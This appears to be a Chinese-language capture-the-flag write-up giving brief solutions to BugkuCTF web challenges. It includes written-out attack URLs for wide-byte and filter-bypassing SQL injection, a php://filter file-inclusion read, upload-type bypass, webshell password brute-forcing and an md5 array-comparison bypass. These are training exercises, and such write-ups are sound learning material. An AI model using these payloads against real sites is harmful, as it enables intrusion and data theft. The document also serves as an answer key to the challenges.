BugkuCTF WEB
-
web2
打开链接,一大堆表情
查看源代码
得到 flag
-
文件上传测试
打开链接
选择 1 个 jpg 文件进行上传,用 burp 抓包改包
将 php 改为 jpg,发包
得到 flag
-
计算器
在方框中输入 28,但是只能输入 1 个数字
F12 查看一下元素
这里的最长长度为 1,将它修改为 2,输入 28,点击验证
得到 flag
-
web基础$_GET
给参数 what 传值 flag
访问 http://120.24.86.145:8002/get/?what=flag
得到 flag
web基础$_POST
打开链接
POST 方式传一个 值为 flag 的参数 what,就能得到 flag
-
矛盾
is_numeric() 判断参数 num 是否是一个数字,如果不是数字,则输出 $num 的值,如果 $num 的值等于 1,输出 flag
可以用科学计数法来表示 1
构造 http://120.24.86.145:8002/get/index1.php?num=1*e*0.1
得到 flag
-
web3
打开链接
一片空白,右键查看源代码
解码一下
得到 flag
-
sql 注入
打开链接
查询key表,id=1的string字段
加个单引号,没有什么变化,右键查看源代码
用宽字节注入
经查询,有 2 个字段数
查数据库,http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()%23
然后直接查询key表的string字段,http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20
得到 flag
-
域名解析
修改 /etc/hosts 文件
┌─[root@sch01ar]─[~] └──╼ #vim /etc/hosts
添加一条 120.24.86.145 flag.bugku.com
添加完后,打开 flag.bugku.com
得到 flag
-
SQL注入1
打开链接
//过滤sql $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'); foreach ($array as $value) { if (substr_count($id, $value) > 0) { exit('包含敏感关键字!'.$value); } } //xss过滤 $id = strip_tags($id); $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
用 %00 绕过过滤,http://103.238.227.13:10087/?id=-1%20un%00ion%20se%00lect%201,database()
然后直接查 key 表下的 id=1 的hash 字段,http://103.238.227.13:10087/?id=-1%20un%00ion%20se%00lect%201,hash%20fr%00om%20sql3.key
得到 flag
也可以利用代码中 xss 过滤来绕过
构造:http://103.238.227.13:10087/?id=-1 u<a>nion sel<a>ect 1,hash fr<a>om .key
-
你必须让他停下
打开链接,链接会一直刷新
当图片为 10.jpg 的时候,会出现图片
用 burp 查看返回包
当图片为 10.jpg 的时候,会出现 flag,不一定每次都出现
得到 flag
-
变量1
var_dump() 打印该参数,用全局变量 GLOBALS 可以打印出全部变量的值
得到 flag
-
web5
右键查看源代码
右键查看元素,把这些字符复制到控制台,回车
全为大写就是 flag 了
-
头等舱
什么都没有,查看源码也没有,抓包看看
直接发包
在返回包中得到 flag
-
网站被黑
打开链接是一个黑页,题目是网站被黑,可能存在后门
猜了一个 1.php 不对,又猜了一个 shell.php
发现一个大马
猜了几个密码都没对,用 burp 爆破一下
爆出了一个 hack,输入
得到 flag
-
WEB4
右键查看源代码
被 url 编码的 js 代码
进行 url 解码
进行拼接得到,67d709b2b54aa2aa648cf6e87a7114f1
输入,得到 flag
-
flag在index里
点击
可能存在文件包含,读一下 index.php 文件看看
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
读出一串 base64 密文,解密一下
得到 flag
-
输入密码查看flag
用 burp 爆破
爆出来了,查看返回包
得到 flag
-
点击一百万次
要点击 1000000 次才能得到 flag
右键查看源代码
如果 clicks >= 1000000,就会 POST 发送 clicks
直接 POST clicks 的值为 1000000
得到 flag
-
备份是个好习惯
试了一下 index.php~,404
再试了 index.php.bak
下载下来
<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
$_SERVER['REQUEST_URI'] 获取域名后面的值,包括“/”
$str = strstr($_SERVER['REQUEST_URI'], '?'); 为域名后的值,“?” 后的值,也就是参数,包括“?”
$str = substr($str,1); 为获取“?”后的值,不包括“?”
$str = str_replace('key','',$str); 如果有 key,把 key 替换成空,可以用 kekeyy 来绕过
parse_str() 函数会把查询字符串解析到变量中
如果 key1 和 key2 的 md5 值相等,且 key1 的值不等于 key2 的值,才会得到 flag
可以用数组来实现,因为 md5() 不能加密数组,所以会返回 null
index.php?kekeyy1[]=a&kekeyy2[]=b
得到 flag